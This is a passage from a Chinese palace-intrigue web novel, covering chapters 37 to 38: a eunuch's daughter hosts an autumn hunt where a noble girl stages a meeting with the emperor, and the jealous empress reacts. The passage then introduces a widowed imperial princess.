“这事情一时半会儿的,不必急。”王四姑娘摆摆手,尔后,她就随手一扔,一朵绿菊落了地上。 王四姑娘伸脚,再轻轻的一碾。好好的花朵儿,给碾进了泥里。 “早前吩咐递的话,可递到了?”王四姑娘又问一事。 “姑娘放心,已经递到。”素纱回道。 “那就好。”王四姑娘轻轻颔首,她的眉眼间没了笑意。 “我的亲外甥,姐姐膝下的三皇子殿下才是荣恩伯府的未来指望。”王四姑娘的目光望向皇宫。 “如今,郡主府的主人又想献了美人进宫。献美人倒也罢,瞧瞧,还是巴巴儿的捧了那人。”王四姑娘冷哼一声。 对于朱凤曦的招摇,不,应该说不止是太招摇。 而是已经明确了要入宫的名单里,荣恩伯府的立场在哪? 王四姑娘不知道,可她递了消息给宫里的姐姐王贤妃。 在王贤妃吩咐后,王四姑娘很乐意替姐姐办事。 如朱凤曦,这一位朱三姑娘的出身不差。 若是可能,王贤妃非常不想朱三姑娘站在昭阳宫的一边。 第37章 赵济世昨日刚吃一回酒,一起当差的同僚恭贺于他。 贺什么?不外乎,赵济世得了齐王世子给安排的新差遣。 来年春,淑阳公主要嫁到大晋朝和亲。赵济世就是送嫁的护卫统领。 论起来,赵济世升官了。升官发财,人生喜事。同僚庆贺,送他贺礼更是人情往来,赵济世拒绝不得。 为了跟同僚们打好关系,赵济世收了礼后,又是请人吃酒。 吃吃喝喝,那哪是吃吃喝喝的事。那是你来我往的利益纠葛。 酒吃多了,赵济世的酒量便是在酒桌上早就锻炼出来。一旦吃多了,也容易宿醉头疼。 “大哥。”今早赵济世一醒来,他正吃朝食。二弟马义来寻他。还给他带来一个新消息。 “弟弟昨日无意之间听着一个消息。”马义说这话时,迟疑一下,方才又道:“崔氏女被王爷纳为庶妃。” “……”赵济世咽下口中食。他问道:“二弟,你给说详细一点。” 崔氏是大族,族中人口众。赵济世一听二弟之言,他有一点糊涂,又有一点直觉。 二弟会提这事情,那一定跟他有干系。赵济世当然会过问清楚。 “就是拜访过得庶五房的崔氏女。”马义讲道。 赵济世哪还有什么不懂。这一位崔氏一族的庶五房的崔氏女,赵济世提过亲。崔氏拒绝了。 “为兄的脸皮子不值钱。二弟,当初那事情既然没成,就当从来没有发生过吧。”赵济世宽慰一回义弟。 “……”赵济世想得开,马义想不开。 只瞧着兄长的神色平静,马义只能装着看开些。 “崔氏高门,庶脉之女享了皇家余荫,倒也寻常。”赵济世给这一件事情定下一个态度。 “大哥,纳崔氏女为庶妃的是齐王。”马义语气尴尬的讲道。 赵济世听后,又沉默片刻。 赵济世在齐王世子手下当差办事。曾经提过亲的人家,别人没瞧上他。这不叫事。 可这等人家宁可让女儿为富贵妾,不为庶民妻。 一番做派闹出来,让赵济世对于世家大族的滤镜嘛,那是破碎掉,碎得掉渣渣。 赵济世在肚皮里腹诽,狗屁的清贵人家,狗屁的世家风骨。在权利面前还不是蝇营狗苟。 落赵济世眼中,这些所谓的世家,也不过是装模做样的狗吠几声,装了清高。 “……”赵济世沉默片刻,他一门心思的刨饭。 等着一碗饭食下肚后。赵济世瞧着等他讲话的二弟。 “二弟,往昔的旧事本来是小事。我等皆装着没发生。齐王是贵人,崔氏女往后是王府女眷,招惹不得,就不招惹。”赵济世叮嘱一番。 “我全听大哥的。”马义重重点头。 可在心底,马义觉得大哥委屈了。崔氏一族,狗屎一样的世家世族。 现在惹不起,等将来惹得起的时候,马义一定要给大哥狠狠的出一口恶气。 马义听过大戏,还听人唱过那什么三十年河东,三十年河西,莫欺青年穷。 大晋朝,内城,朱府。 朱凤曦瞧着浑江郡主府的赠礼。她瞧一眼,尔后,让丫鬟捧着去一趟正院。 “娘,您瞧一瞧,这是浑江郡主府差人送来的。”朱凤曦指着装了一箱子的服饰。 这些不是寻常的衣裳,而是骑装。不止一套,而是不同色的四套骑装。 这些骑装做功精致,面料上佳。瞧着就是宫廷内造的好东西。 “趁你心意……不开心吗?”杨夫人摆摆手,挥退侍候的丫鬟仆妇后,她跟女儿问道。 “这一日真的到来了,女儿又是忐忑难安。”朱凤曦坐于母亲身畔,她说了自己的担忧之处。 朱家走了万太监的门路。应该打点的,早是打点好。 朱凤曦要走的旧路,前面人已经探过。路途通天。至于前程如何? 那得看朱凤曦入宫后的本事。毕竟嫔妃得宠不得宠? 入宫时的位份是娘家给的头一等助力。入宫后,想谋着圣宠,想谋着皇嗣,全看嫔妃自己的能耐。 有能耐的,合了天子心意,自然可以一路青云直上。 若能耐不够的,嫔妃生活在宫廷内苑。在宫外的亲人想给助力,也是难,难的很。 “……”杨夫人伸手,她轻轻的拍一拍女儿的手背。 朱府内,杨夫人和女儿朱凤曦在谈心事。 镐京都,内城,浑江郡主府。 万珍珠也在跟亲爹寻问话,她讲了担忧,道:“爹爹,秋猎在郊外举行。女儿做东主,真没问题吗?” “不信自己的能耐?”万忠良笑眯眯的瞧一眼女儿,笑着说道。 “爹爹把这等大事交给女儿,女儿就怕办砸掉,到时候给爹爹落了脸面。”万珍珠本来不担忧什么。 可知道这一桩秋猎的内幕后,她就挺担忧。 “无妨。”万忠良笑 道:“秋猎之时,咱也差人盯着,出不了事。” “既然爹爹说无碍,那女儿就放心了。”万珍珠得了亲爹当托底的,她真的很轻省。 对于秋猎,万珍珠期待起来。 秋日,秋猎,最是开开心心的事情。当然,这等热闹的活动不止是万珍珠上心。同样有一些人也是上心的。 荣恩伯府。 王四姑娘听一听消息,她对一等大丫鬟素纱说道:“倒是巧,我接着浑江郡主的贴子。赵五姑娘也接着浑江郡主的贴子。正好呢,那一日,我与赵五姑娘一起登门郡主府。” “素纱,差人去赵府送了信。我要写信给赵五妹妹,谁让我跟五妹妹有交情,我二人可得多走动一二。”王四姑娘吩咐一番。 话罢,王四姑娘起身去书房。她不是说说,她这会儿真写信。 在书房里,一挥而就,王四姑娘写好信,封好书信。尔后,她便交给一等丫鬟素纱去办事。 秋,待秋猎日,又是一个大晴天。天高气爽,正当好时。 万珍珠做为东主人家,谁来做客,她都迎一迎,客客气气的说一回场面话。 瞧着王四姑娘跟赵五姑娘一道登门,万珍珠同样热忱的态度。 事实上,这一日举办秋猎。万珍珠的态度从容。 主要是万珍珠心头有底,她真的很淡定。接人待客,没甚大的利益纠葛。万**打一个潇洒。 “三姑娘安好。”万珍珠迎一迎登门的朱凤曦。 在朱凤曦见礼问安后,万珍珠回一礼。 请的女客不算多,不过七人。这会儿朱凤曦来的最迟。 人齐了,万珍珠自然是安排马车,一众人先乘马车去郊外。 秋猎嘛,在郊外玩儿才是畅快些。 来参加了聚会的七位姑娘之外,又有七人的侍候丫鬟仆妇,还有护卫等等。待一众人出行时,浩浩荡荡,惹人瞩目的很。 “叨扰郡主了。”朱凤曦跟万珍珠乘坐一辆马车,登车后,她客气一回。 “我乐得跟三姑娘坐一辆车,我们还可以聊天谈话,打发时辰。”万珍珠既然要做好场面上的功夫,那肯定是待人和善,不留话柄。 这话落,万珍珠的目光落在朱三姑娘的身上。 “三姑娘今个真漂亮。”万珍珠夸一回。 美人儿浅施粉黛,落万珍珠眼中,这一位朱三姑娘真的容貌不俗,一代佳人。 可惜就是容貌动人,心性嘛,有些贪。万珍珠前世今生都跟朱三姑娘接触颇深。 特别是前世,万珍珠透过表相看内里,她对朱三姑娘有一份自己的了解。 朱三姑娘是既要又要的典型人物。若不是出身好,有人兜底。 凭朱三姑娘的贪心,一旦走错了路,搁着天家那等地,太容易一步错,步步错。 不过嘛,这朱三姑娘的前程跟万珍珠有干系吗? 可能有,可能没有。 若说没有,万珍珠就吃吃瓜,看看戏。若说有,万珍珠巴不得朱三姑娘栽跟头,最好是栽进爬不出来的深渊里,十死无生。 “郡主谬赞了。”朱凤曦盈盈一笑,似乎被夸得不好意思。 “我瞧三姑娘貌美,真心实话。可不是讲了虚言妄语。”万珍珠说得坦坦荡荡。 美不美,全在脸,万珍珠真的夸。假夸了,没必要。 “只一样事情,我知道三姑娘的骑术好。我盼着秋猎之时,三姑娘一显身手,也让我好好的学一学。若能学得一二分,那是再好不过了。”万珍珠笑得眉眼弯弯。 朱凤曦瞧着面前的浑江郡主万珍珠。这一日的郡主很热忱。 热忱的让朱凤曦又恍惚之间,她貌似又成为中心的那一个焦点。 真不是朱凤曦的错觉。来镐京都的好些时日里。 今个在浑江郡主府也罢,还是到了郡主府在郊外的庄子上也罢。浑江郡主万珍珠有意无意在捧了她。不止如此,还是替她多方张目。 做人焦点,被人捧着,朱凤曦当然习惯了。就是习惯了,一旦落魄了,那才遭不住。 朱凤曦当过风云儿,又坐过冷板凳。于是再度登上舞台时。 朱凤曦就不想下台。毕竟忍了寂寞,口里咽了寒凉的滋味可不好受。 在庄子上,加上万珍珠一共八位千金姑娘,几人皆是换了骑装。 秋猎嘛,不止有说说笑笑的热闹,一众少女们聚会也是要比一比,攀一个高低利害。 在给各家下请贴后,万珍珠就临阵磨一磨骑马本事。问会不会? 万珍珠只能给出一个不太满意的答复。会一点儿。 骑上马,慢腾腾的让马驹子跺步尚可。真是策马奔驰,扬鞭起舞,想秋猎一显身手压了人眼? 万珍珠是办不到的。 “今个各位姐姐妹妹来参加聚会,我这东主很高兴。”万珍珠笑着拍一拍巴掌。 尔后,丫鬟抬了一个箱子上来。万珍珠笑道:“这是我的一点心意。哪一位姐姐妹妹赢了今个的魁首,这便是巾国英雌的战利品。” “各位姐姐妹妹,请饮一盏酒水,我先饮。”万珍珠先饮一盏果酒,甜甜的,一点不醉人。 “各位自便。”万珍珠饮尽了盏里的酒,尔后,杯盏倒立一回,以此示意,她饮好了。 “友谊第一,秋猎第二。”朱凤曦笑道:“我与诸位一起参加郡主的秋猎之宴,同喜。我也饮一盏,同贺。” 在这等场合里,朱凤曦一样饮尽一盏酒水。 饮过酒,骑上马。一众人里,有人扬鞭,准备去狩猎了猎物。有人组队,还是想拉一拉小圈子。 万珍珠是落后一回。她这慢腾腾的骑了马驹子,在八位姑娘里也是当了显眼包的一人。 “郡主这马,可真别致。”赵五姑娘同样落后一回。还是凑在万珍珠跟前捧场面。 “赵五姑娘怎么不去露一手?”万珍珠指着骑马远去的几人,她笑着问道。 “我的射术一般,真怕露怯。这不,就想着躲了郡主跟前。等一会儿,我还能寻一个借口替自个描补一二。”赵五姑娘笑着解释一番话道。 “哈哈哈……”万珍珠笑一回。 想笑就笑,万珍珠做人做事,到如今的份上,她就讲一个开心。 “赵五姑娘爽快人,这话说的快人快语。”万珍珠谈笑由心,也是讲的坦诚。 落赵五姑娘的眼中,她也羡慕三分。对于浑江郡主嘛,赵五姑娘不像一样人一般。 当着浑江郡主的面,那就差着捧上天。可在背后嘛,又是瞧不上浑江郡主的亲爹是没根太监的根脚。 对于赵五姑娘而言,她是庶出女,记名在嫡母的跟前。 要论嫡母的心尖尖,有嫡出的兄长,更有嫡出的姐姐赵修媛。 这些在赵府主子里得宠的二代,一定不包括了赵五姑娘。 当然,在镐京都的庶出里,赵五姑娘是比上不足,比下有余。她自个原先也乐得轻省。 轻省了,得了嫡母的庇护。也得了父亲的光彩。 奈何啊,多年家族恩养,也是到了赵五姑娘要替家族奉献一二的时候。 赵修媛,赵府献给天子的美人。当年嘛,那也是走得万太监的门路。 那条路,就跟现在朱凤曦要走的路一模一样。 朱府给万太监送重礼,送得叫一个心甘情愿。为何? 还不是这一条路有人走过,可谓是通天大道。 赵修媛在宫里嘛,如今日子挺寡淡。不算太得宠。 可在洪福帝跟前还有一二分的体面。因为赵修媛是大皇子的生母。 可惜之处在于大皇子早夭掉。这也是赵氏一族的遗憾。 赵五姑娘得着嫡母的暗示,更得着父亲的明示。她要进宫。 赵五姑娘的父亲想要一位皇外孙。不是夭折掉的大皇子。而是一位身体健康,能够平安长大,娶妻生子的皇外孙。 赵修媛当年得宠过,如今不得宠。不止不得宠,也是难生养的样子。 打从生下大皇子后,赵修媛没再开怀过。赵氏一族忍了一年又一年,如今不想忍下去 。 赵氏一族要送新人入宫。一众人选里,赵五姑娘就是备胎。还是排序最前面的备胎。 往昔跟王四姑娘交好。赵五姑娘乐得捧一捧荣恩伯府的场面。 如今嘛,赵五姑娘更想捧了浑江郡主的场面。 万珍珠与赵五姑娘这儿,一个有意捧场,那等小心逢迎。让万珍珠又体会了被人哄着的感觉,真真好。 至于骑马远去,打鞭要秋猎的姑娘里。朱凤曦这会儿也有人想凑上去。 王四姑娘有心,她就想亲近一番朱凤曦。目的简单。王四姑娘想交好朱凤曦。她更想替姐姐王贤妃说一些好话。 免不得,王四姑娘也想说一说昭阳宫的坏话。 只是王四姑娘的打算,那是打算的挺好。就是不凑巧的。 王四姑娘追了一回朱凤曦,半途中,那把人追丢了。 入了林子里,姑娘们跟前还有女护卫。谁都是一堆人护着。 朱凤曦放心的参加了这一场秋猎。或者说,她早得着浑江郡主府的一些暗示。 镐京都,外城。 洪福帝微服出行。说是微服,随行护卫之人可不少。 万太监陪在帝王身边。这时候,万太监陪着帝王坐于一辆马车里。 “大伴,你给朕说说,那朱瑞献上来的嫡女真是貌美出众,绝代佳人?”洪福帝随口一问。 “朱节度使一片忠诚。他既然献女侍奉于陛下。自然是献上了一位绝代佳人。依奴才看,能侍奉陛下的女子,那不止得出身名门,更应该样样拔尖儿。若不然的话,又岂能在陛下跟前露脸了。”万忠良笑着回话道。 “大伴这话,朕听着顺耳。”洪福帝畅快笑一回。 身边人献美,这不是头一回。哪一回敢献于天子跟前的。从来是美人。 对此,洪福帝乐得笑纳了。 想当年,赵修媛进宫前,洪福帝也是相处过几回。 朦胧感情,那算什么?在洪福帝跟前,天子就爱这一个调调,怎么说呢。 可谓是妻不如妾,妾不如偷。偷得着不如偷不着。 洪福帝喜好什么,下面人当然巴结着奉上什么。 镐京郊外。 朱凤曦是进过林子,又到一处草地湖边。她的收获不小,显得神采飞扬。 万珍珠碰巧撞上湖边的朱凤曦。远远的,又有人出来拦了一回万珍珠。 万珍珠一瞧,唉哟,还是熟人。 “义兄,妹妹这厢有礼了。”万珍珠在马驹子上拱手一礼。 “妹妹,干爹有安排。这不,您给避一避?”宋三德态度客客气气的请话道。 “既然是爹爹的吩咐,我肯定听从。”万珍珠笑着应下话。 说是避一避,她就真的避一避。不带半点含糊的。 又是过去一个时辰。万珍珠瞧着自己收获太少。可谓是寒碜。万珍珠没兴致秋猎了。 她的射术太差,一旦瞧着猎物时,她得下马张弩。 真是骑在马驹上张弩骑射,万珍珠这一点子皮毛一样的骑术,那顶顶的办不到。 “郡主。”万珍珠这一边对于秋猎没了热情时。 她跟前的一等大丫鬟上前禀话,道:“老爷差人来寻郡主。” 万珍珠以为听错了。 “爹爹来了。”万珍珠镇定一下心绪后,问道:“快说,在哪?” “有侍卫相请。”一等大丫鬟指了指远处,远远的,有宫廷侍卫在候着。 万珍珠心头大概有一点数儿。于是骑上马驹子。 万珍珠是随了来引路的护卫走。这会儿她也想见一见亲爹。 在一处树林的边沿,万珍珠见着亲爹。 一到亲爹近前,万珍珠忙下马。尔后,马驹子是交给随来的女护卫。 “爹爹。”万珍珠高兴的走上前。 “咱来瞧瞧闺女,你这秋猎,收获如何?”万忠良见着亲闺女,他笑着问道。 万珍珠尴尬,心里真尴尬。她面上还是扬了笑脸,回道:“还成。” 指一指马驹子,万珍珠停顿一下后,实话实说,道:“猎到了一只山鸡。” 万珍珠不会讲的就是这一只山鸡,她也只是补箭的。 实则嘛,让她光明正大的射中一只猎物,太难了。 “有收获就好。”万忠良笑眯眯的讲道。 “那咱有口福,就享用一回闺女射中的猎物。”万忠良提议道。 “好啊。”万珍珠开心答应。 “我亲手给爹爹烤了山鸡。”万珍珠忙是主动请缨。 “好,好。”万忠良不拒绝。 出来秋猎,应该带上的调味品,万珍珠一样没落下。 反正出行之时,万珍珠知道跟随左右的人手多着。 既然如此,应该带的就带上。指定用得上呢?这不,如今就能用上了。 万珍珠的烧烤手艺不错。这会儿她亲自动手。 烧开水,拔鸡毛。万珍珠一点儿不介意干这些。 万珍珠做的是叫花鸡。这一道菜省事。 至于说穿着锦衣,哪怕是轻便的骑装呢。万珍珠对于暂时转行做厨娘一事嘛,她是一点不在意的。 烧着火,烤着土泥蛋子里的叫花鸡。这时候,还得慢慢的烤。 有闲暇,万珍珠跟亲爹闲聊一会子。 “爹爹怎么出宫了,还来镐京都的郊外?”万珍珠关切的问道。 “莫不成是爹爹想见我,这才来此。”万珍珠笑呵呵。 “咱陪贵人来。”万忠良乐意跟亲闺女相处,至于侍候的人全是打发去远处候着。 此时的万忠良态度随意,在亲闺女跟前,万忠良挺自在。他啊,也很享受这一份亲情。 “……”万珍珠不再细问。亲爹说的贵人,那还是谁?除了天子,不再瞎想。 “爹爹不陪贵人,您来陪我,这会不会让人非议了,您失职了?”万珍珠关切的问道。 “贵人跟前,自有人侍候。我啊,不去叨扰了。哈哈哈……”万忠良爽朗的笑一回。 谁在侍候贵人?又或者说谁在陪天子。万珍珠想一想。尔后,万珍珠的心头浮现一个答案。 想着这一个答案时,万珍珠的眼角跳一跳。 本来想说些什么。可万珍珠瞧着自在的亲爹。又想着亲爹在宫廷里混了那么多年,还能爬到如今的地位。 嗯嗯,万珍珠得承认,亲爹的心眼子肯定比她多,比她强。 往常,万珍珠已经在亲爹跟前诋毁过朱三姑娘。 如今再多提,让旧事泛起沉渣。真没必要的。 万珍珠不提,或者说是她相信亲爹的背后谋算。她这等小白,天生的废物,还是不给亲爹添倒忙了。 心里这般腹诽过自个。可万珍珠又忍不住暗自的嘀咕一回。 要不,缓缓,等回郡主府,还得在亲爹跟前替朱三姑娘多上一点子眼药。 瞧着朱三姑娘过的太好,万珍珠心里堵啊。 问一回真心?万珍珠太想把朱三姑娘踩下去,踩上一万脚。 “爹爹,山鸡烤好前,您先吃吃茶。”万珍珠先陪亲爹吃茶。 摆开竹席子,搁了小茶几。万珍珠陪着亲爹对坐。 郊外风景好,秋日好时光。这等时候品茗,也是别有一番滋味在心头。 “咱就喜爱闺女你烹煮的茶,旁人弄的,总没你的茶香。”万忠良感慨一回。 至于是女儿孝心加成,还是真的闺女手艺好。这是一个仁者见仁,智者见智的问题。 吃吃茶。再是等叫花鸡烤好后。 万珍珠拿了小刀子割肉,她割好后,献给亲爹。 有茶有肉,又有亲闺女相陪伴。来了镐京都的郊外一回。 万忠良也是喜爱上秋猎这等事情。或许吧,亲人陪着,欢喜时光,万忠良就好这一口。 在万忠良过得开开心心时。洪福帝也开心。 洪福帝化身刘二郎,他遇上了狩猎的朱凤曦。 美人张弓,箭射猎物。那骑马的风姿,穿着烈如火的红色骑装 。 人美,让洪福帝一见倾心。 就在洪福帝巧遇美人一回,还是搭讪一回。 朱凤曦做为一场偶遇的主角。她就是配合的演一出戏。 应该配合帝王演出的,哪怕知道是假的。这做戏做全套。 朱凤曦对于洪福帝可没有一见倾心。她倾心的是皇权,拜伏的是皇权。 这一日,万珍珠举办了一场秋猎。可不止这一日,这一场秋猎连办了三日。 帝王行踪,如果帝王想瞒了人,那肯定能瞒得住。 若有心人想知道呢?千难万难,总要想法子知道的。 特别是帝王瞒的不经意,瞒得不太上心时。 有些事情就差没摆在明处罢了。 镐京都,皇城,昭阳宫。 魏皇后摔了手中的茶盏,她哪有心思吃茶。她给气饱了。 “满宫上下,宫里宫外,都跟本宫争了陛下。”魏皇后不是吃醋,她是嫉妒。 “皇后娘娘,满宫上下,谁都比不得您的尊贵。”魏嬷嬷在劝话。 “本宫尊贵又如何?”魏皇后不开心。 “嬷嬷,本宫缺一个儿子。昭阳宫没有嫡出的皇子,本宫心难安。”魏皇后说来说去,她又说到想生皇子一事上。 在昭阳宫的殿门处,沁阳公主本来要进殿内给母后问安的。 一听着殿内摔了茶盏的声音,又听到母后的话语。沁阳公主迟疑片刻。 做为洪福帝的嫡女,还是洪福帝的唯一女儿。 沁阳公主也算得宠。当然得宠归得宠,在皇子跟前,哪怕是庶出的皇子呢。沁阳公主还得关心兄弟,还得避让一二。或者说皇家的公主肯定没有皇子贵重。 沁阳公主年纪小小,她也懂得,甭管是母后,还是外祖家。人人都盼着昭阳宫有一个弟弟。 “……”在心头念了弟弟二字。沁阳公主提步往殿内走去。 “母后,儿来了。”沁阳公主扬起笑脸,一进殿内就是高声喊话道。在喊话时,还是喊得童言童语,活泼可爱。 “沁阳来了。”魏皇后一瞧见女儿,她收敛了所有的怒气。 这会儿的魏皇后扬起笑脸,她招招手,不让女儿行礼。 “快,来母后跟前坐。”魏皇后招呼了女儿到近前。 母女见面,魏皇后关心一回女儿的功课。 对于魏皇后而言,女儿是皇家嫡长女。这应该有的公主尊贵是半分不能省。同样的,皇家公主应该学的本事也一样不能差。 秋去,冬来。 就在冬至节前,一场小雪后。沁阳公主病一场。 昭阳宫里,魏皇后心情很坏。宫人都被皇后撵了好几人。特别是侍候沁阳公主的,人人都挨过板子。 镐京都,内城,浑江郡主府。 万珍珠在跟亲娘闲谈。牛二囡瞧着郡主吉服,仔细打量一番,说道:“这衣裳真贵气。” “我儿穿着最相配。”在牛二囡的心底,她的闺女哪样都好。 “冬至节将至。这衣裳就派上用场了。”万珍珠感慨一回。 “我儿能入宫,多大的荣耀。”牛二囡听着女儿的话,她开开心心。 在牛二囡的心里,女儿要进宫参加宫宴。那等天家的宫宴岂是一般人能享受的。 瞧瞧,不是得朝廷册封,又哪有机会参加皇宫大宴。 当然女儿有郡主封号,定样能进宫,还能见到皇家贵人。 “宫里宫外,依我讲,还是在自家府邸自在。”万珍珠可没什么进宫很荣耀的想法。 奈何得了郡主封号。她想不进宫去参加宫宴。那也不成。 有些事情得随大流。大家伙都不出格的时候,万珍珠也得怂了。 “我儿,你啊,尽是多想。不知道多少人想要有你的这一份体面尊贵。”牛二囡感慨一回。 在镐京都里,牛二囡走上了人生的巅峰。 落牛二囡的心里,往后余生,这肯定是最尊荣的时候。 有得享受,那肯定不能落下了。等着老年再回味,也跟孙孙辈们有的回忆。 母女二人说一说宫宴事。牛二囡说得开心,万珍珠也附合一回。 等着冬至节那一天,万珍珠乘着马车出府。 至宫门时,万珍珠可没有乘马车进宫内的权利。 那得步行,走着去昭阳宫给皇后参拜大礼。 不是头一回入宫。瞧天家尊荣,瞧着巍峨的宫墙,瞧着长长的宫道,还有一座又一座的宫殿。 万珍珠瞧着宫廷里的肃穆气氛,又收拾一番心情,也是多添了三分的小心谨慎。 昭阳宫。 待万珍珠到时,在此处,她还遇上几个熟面孔。 当然了,更多的诰命夫人等等,万珍珠不熟悉,不认识。 “臣女参见皇后娘娘,娘娘千岁千岁千千岁。”万珍珠给皇后参拜大礼。 这不是她头一回见到皇后。初入镐京都,得了天家恩典。 万珍珠拜见过皇后。可是嘛,一回二回,再是入宫,万珍珠还是觉得宫廷里有一股子的压抑感。 “免礼,平身。”魏皇后对万珍珠的态度平平淡淡。 皇后受了万珍珠的礼,尔后,昭阳宫的宫人给万珍珠引路,引她离开正殿。 未曾拜见皇后前,在偏殿里,万珍珠就是等候中的一人。 她见着各位诰命夫人等等。待拜见过皇后,万珍珠被宫人引来的地方又不同。 这儿有天家册封过公主、郡主等等。万珍珠在这一众皇家贵人面前,就挺格格不入。 有意无意,总有一些异样的目光在打量了万珍珠。 旁人想瞧,万珍珠落落大方。她大度的让人瞧。反正又不会少一块肉。 在心底嘛,万珍珠很清楚。她享受了浑江郡主这一个封号带来的好处。也免不得遭遇一下集火的坏处。 好不好,坏不坏?端看当事人如何想。问万珍珠如何想。 万珍珠只能说,她担得起。好处嘛,再多些也无妨。 至于说坏处?只要亲爹威风赫赫,权势不倒。没谁敢给万珍珠摔脸子。就是想嘀咕,还得避了她。 至少到目前嘛,万珍珠没被蠢人当面蛐蛐过。 昭阳宫,后殿。 魏嬷嬷得了下面人的汇报。听过后,魏嬷嬷的神色间有思索。 “嬷嬷,皇后娘娘传唤您。”有小宫人来传话。 魏嬷嬷得着消息,又赶紧去皇后跟前侍候。 主殿内。魏皇后已经接见过一拔又一拔的女眷。 此时,魏皇后让人暂时缓一缓通传。真有拜见的,让人等一等。 魏皇后吃口茶,歇一歇。此时,她瞧着魏嬷嬷回了跟前侍奉,问道:“嬷嬷去忙碌什么了?” “可是母亲嫂嫂进宫了?”魏皇后在意着母亲进宫的时辰。 对于乐意凑上前的诰命夫人等等,魏皇后就是随意打发。在此佳节,魏皇后更想见一见亲人。 “禀皇后娘娘,长公主殿下尚未入宫。”魏嬷嬷赶紧回话道。 “奴婢是去听下面人的汇报了。”魏嬷嬷解释一回。 “可探听到什么?”魏皇后有一点好奇。 魏嬷嬷心有迟疑,又不敢隐瞒。她小心的禀了话,道:“下面人查出来,十五那一日陛下出宫未归。” 每月的初一日十五日,洪福帝会歇在昭阳宫。这是皇帝给皇后的体面。也是帝后夫妻向众人表明,帝后一体,帝后和睦。 可一旦帝王在每一月的初一日和十五日,就不太乐意歇在了昭阳宫的话,如此,免不得会让一些人心生侥幸。 哪怕有一点苗头,魏皇后也会很关注的。 “陛下出宫未归。”魏皇后沉默片刻,问道:“可查清楚,这里面还有什么事?” “据说陛下是偶遇永州栎州节度使之女。可能因此担搁了,当日才未曾回宫。”魏嬷嬷禀了话,低着头。 哪怕不瞧魏皇后的神情,魏嬷嬷也感觉到了凉嗖嗖的。 魏皇后是何等的坏心情,魏嬷嬷是皇后娘娘的跟前人,她能揣摩到几分。 “好,好一个朱氏女。”魏皇后怒极反笑。 “嬷嬷,本宫没记错的话。那朱氏女是万太监给陛下献的美人。这好像也不是头一遭了吧。”魏皇后恨得牙痒。 “……”魏嬷嬷的头是 低得更低。 “皇后娘娘息怒。”魏嬷嬷小心劝道:“那朱氏女算什么,便是进宫,也不过皇家妾。您是中宫皇后,她只有跪了您脚下的份。” “哼。”魏皇后冷哼一声。 “跪本宫脚下的嫔妃还少了。”魏皇后一指王贤妃的寝宫方向。 “本宫记得王贤妃刚入宫时也乖巧。等着三皇子入了陛下的法眼。嬷嬷,又瞧一瞧,如今的王贤妃很张狂了啊。”魏皇后心有不甘。 后宫嫔妃已经够多。得宠的,不得宠的。魏皇后瞧着堵心。 偏生还有人想替陛下献美,那是一个接一个的想送进宫里,真的是让魏皇后堵心了一茬又一茬。 “……”魏嬷嬷这会儿想给自己一个嘴巴子。 在这等冬至节的好日子,她禀什么坏消息。这不是在皇后娘娘跟前火上浇油嘛。 可晚一点,早一点的,皇后问了。魏嬷嬷一介奴婢也不敢隐瞒。 要知道魏皇后成婚时,那陪嫁的嬷嬷不止一人。 到如今呢,魏皇后跟前就剩魏嬷嬷一人。不外乎嘛,魏嬷嬷从不敢替主子做主。 替主子拿主意,这是主家忌讳。魏嬷嬷能怎么办? 她做为奴婢,也很为难。这办事容易背锅。不办事更惨,被主子撵了,不止自己惨,还要拖累亲人。 “去,传了万太监的女儿来。”魏皇后吩咐一声,道:“本宫要见一见这万氏女。” 魏嬷嬷听着这话,她心头的肝儿颤抖一下。 “皇后娘娘。”魏嬷嬷小心的讲道:“万公公是陛下跟前的大红人。这……” “是不是拉拢了万公公更好。一旦得罪了万公公,就怕他在陛下跟前上眼药。”魏嬷嬷胆颤心惊的劝话道。 “本宫被人上眼药,还上少了吗?”魏皇后声音冷下来。 “怎么,本宫的吩咐,嬷嬷不听了。”魏皇后的目光是冷冷的瞥一眼魏嬷嬷。 “奴婢这就去传话。”魏嬷嬷福一礼,忙是退出殿内。 瞧着魏嬷嬷的离开。魏皇后闭上眼睛,闭一下,又睁开。 此时此刻,魏皇后心里凉嗖嗖。她想到了十五那一日,她独守了寝宫一晚。 那一盏灯,她是一直替陛下守着。可陛下没来。 那一晚啊,于魏皇后是不同的。因为那是嫁进皇家后,头一回遇上夫君在初一十五的这一天没歇在她屋里。 第38章 一个时代有一个时代的烙印。在封建社会里,对于女子一辈子幸福圆满的定义自然是四角俱全。 可人人都一样,那是不可能的。总会有异类。 林江郡主觉得她就是一个异类。做为宗室郡主,林江郡主年二十岁,膝下有一个独子。 至于她的夫君? 夫君是一个短命鬼。在林江郡主怀上独子的那一年病亡。 病亡是遮掩的借口,真正的真相是短命鬼夫君中了马上风。可谓是牡丹花下死,做鬼也风流。 问林江郡主有什么想法?她只想说,真的,上苍眷顾。 做了寡妇,还是百年后有子孙祭祀血食的寡妇。她有地位有钱又有闲,简直再美妙不过。 毕竟一个给她这一位宗室郡主带绿帽子的仪宾,没了真好。 林江郡主对于短命鬼夫君是恨得牙痒痒。 那些年里,她会嫁给这么一个色中恶鬼。林江郡主也是无奈。 谁让洪福帝未亲政前,权臣当道。林江郡主的夫君就是已经不被提名字的权臣的亲外甥。 一桩姻缘,宗室郡主还得守了民间女子的“贤惠”二字。对于宗室郡主而言,太没脸了。 皇家公主,宗室郡主,只要强势的,就没有谁想分享夫君。 男子觉得带绿帽子受不了。出身高贵的宗室郡主被夫君带了“绿帽子”一样受不了。 林江郡主忍了又忍,忍到短命鬼夫君自己把自己作死了。她就差欢呼命数如此,福薄的,注定的。 福薄的自然是短命鬼夫君,她,堂堂宗室郡主是福缘深厚的。 待洪福帝这一位堂兄亲政,林江郡主的父王母妃也是心疼女儿。关切之下,也想再替女儿谋一桩好姻缘。 可守寡的林江郡主一点不想嫁人。姻缘?狗都不理。 林江郡主就想养了亲儿子,把儿子养大,让儿子成家立业,再是抱上孙辈。 好吃好喝好玩,这一辈子,她喜爱如今的自在日子。 嫁人?没可能的。林江郡主多番口舌,总算打消掉父王母妃的心意,让她继续做快活的寡妇。 “浑江妹妹怎么一个人在这角落里坐着。”林江郡主凑到万珍珠跟前,讲了一番开场白。 “林江郡主安好。”万珍珠给对方见一个平礼。 林江郡主年岁比万珍珠大五岁。算是姐姐辈。 同时,林江郡主是正宗的皇室郡主,在这一众的公主郡主里,她也是根正苗红。 哪像万珍珠,纯粹凑数的。此时此刻,林江郡主貌似是好意? 对于好意二字,万珍珠打一个大大的问号。 只是旁人有好意,还是在众目睽睽之下。万珍珠也得给一个好脸色,可不能摔人脸皮子。 